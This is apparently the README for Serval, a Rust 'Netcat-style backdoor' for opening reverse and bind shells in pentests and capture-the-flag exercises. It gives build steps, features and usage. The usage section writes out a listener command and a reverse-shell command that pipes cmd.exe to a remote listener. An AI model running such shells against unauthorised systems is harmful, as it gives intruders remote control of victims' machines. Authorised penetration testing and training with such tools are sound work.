tgadola / serval

A Netcat-style backdoor for pentesting and pentest exercises

A Netcat style backdoor for pentesting and pentest challenges

Serval is a lightweight, easy-to-use, binary for spawning reverse and bind shells for pentests or pentesting exercises. Serval is cross platform and can be compiled for both Windows 32 & 64-bit and Linux 32 and 64-bit. Note: Due to the flexibility of Rust it may be possible to compile for other platforms (such as ARM) but I have not tested for other platforms.

Why?

I developed Serval to remove my dependecy on netcat during HacktheBox challenges since it can be bothersome to find netcat binaries for Windows (especially with the -e option) and it is even more difficult to find a binary from a trusted source.

Features

• Cross-compileable! Can be built for Linux or Windows
• Command line history. Up and Down arrows will scroll through command history.
• Command line history search! ctrl-r to reverse search your command history.
• Line editing. Backspace and left-right arrow keys work!
• Interoperability. Only have netcat on your target? No problem! The serval listener can still catch the shell and give you the advanced features.

Installation

Rust Users (Compile from source)

Download the source from github

git clone https://github.com/tgadola/serval.git && cd serval-master

*Optional: Edit the build file at .cargo/config to rewrite your buildpath.

Build the binary for your current platform.

cargo build --release

*Note: v1.1.0 requires Rust nightly

You can build for other platforms using

cargo build --release --target <target-triple>

Other

If you're a particulary trusting individual you can download the pre-built binaries here.

Usage

By default Serval will either listen or connect to a port and pipe standard input and output to that connection. The -e flag will spawn a process and pipe its standard input and output across the network.

Start a listener

Serval listens on all interfaces.

Use the -H flag to activate the line editing and command history features!

serval -l 4400 -H

Spawn a reverse shell

serval.exe <listening ip> <listening port> -q -e cmd.exe

????

Profit

Special Thanks

A big thank you to @kkawakam-transferwise and their Rustyline crate, which does literally all of the heavy lifting. Check out Rustyline!

Thank you to the creators and contributors of Clap! Check out Clap.

Thank you to the creators and contributors of Anyhow! Check out Anyhow. +1 for the great crate name.

Thanks to @jaynus for all of his Rust advice

License

Apache 2.0. See the License file for more info.